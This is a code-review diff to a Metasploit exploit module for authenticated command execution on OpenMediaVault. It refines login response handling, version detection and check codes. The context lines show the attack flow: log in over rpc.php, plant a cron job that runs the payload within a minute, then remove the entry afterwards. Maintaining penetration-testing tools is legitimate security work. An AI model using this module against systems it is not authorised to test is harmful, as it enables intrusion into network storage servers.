changes based on cdelafuente-r7 comments

Author: h00die-gr3y

modules/exploits/multi/http/openmediavault_cmd_exec.rb

@@ -110,7 +110,7 @@ def login(user, pass)
         options: nil
       }.to_json
     })
-    unless res.code == 200 && res.body.include?('"authenticated":true')
+    unless res&.code == 200 && res.body.include?('"authenticated":true')
       res = send_request_cgi({
         'uri' => normalize_uri(target_uri.path, 'rpc.php'),
         'method' => 'POST',
@@ -126,7 +126,7 @@ def login(user, pass)
         }.to_json
       })
     end
-    unless res.code == 200 && res.body.include?('"authenticated":true')
+    unless res&.code == 200 && res.body.include?('"authenticated":true')
       res = send_request_cgi({
         'uri' => normalize_uri(target_uri.path, 'rpc.php'),
         'method' => 'POST',
@@ -148,7 +148,7 @@ def login(user, pass)
     true
   end
 
-  def check_version
+  def check_target
     print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
     res = send_request_cgi({
       'uri' => normalize_uri(target_uri.path, 'rpc.php'),
@@ -163,14 +163,18 @@ def check_version
     })
     return nil unless rpc_success?(res)
 
+    res
+  end
+
+  def check_version(res)
     # parse json response and get the version
     res_json = res.get_json_document
     unless res_json.blank?
       # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
       version = res_json.dig('response', 1, 'value')
       version = res_json.dig('response', 'version') if version.nil?
       version = res_json.dig('response', 'data', 1, 'value') if version.nil?
-      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil?
+      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?
     end
     nil
   end
@@ -317,7 +321,7 @@ def execute_command(cmd, _opts = {})
     end
 
     # Apply and update cron configuration to trigger payload execution (1 minute)
-    # versions lower then 0.5.48 do not need this because execution is automatic
+    # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
     apply_config_changes
     print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
   end
@@ -341,7 +345,7 @@ def on_new_session(_session)
       })
       if rpc_success?(res)
         # Apply changes and update cron configuration to remove the payload entry
-        # versions lower then 0.5.48 do not need this because execution is automatic
+        # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
         apply_config_changes
         print_good('Cron payload entry successfully removed.')
       else
@@ -355,19 +359,27 @@ def check
     @logged_in = login(user, pass)
     return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in
 
-    @version_number = check_version
-    return CheckCode::Unknown('Could not retrieve the version information.') if @version_number.nil?
-    return CheckCode::Vulnerable("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))
+    res = check_target
+    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?
+
+    @version_number = check_version(res)
+    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
+    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))
 
     CheckCode::Detected("Version #{@version_number}")
   end
 
   def exploit
     unless @logged_in
       if login(user, pass)
-        @version_number = check_version
-        fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil?
-        print_status("Version #{@version_number} detected.")
+        res = check_target
+        fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?
+        @version_number = check_version(res)
+        if @version_number.nil?
+          print_status('Can not retrieve version information. Continue anyway...')
+        else
+          print_status("Version #{@version_number} detected.")
+        end
       else
         fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
       end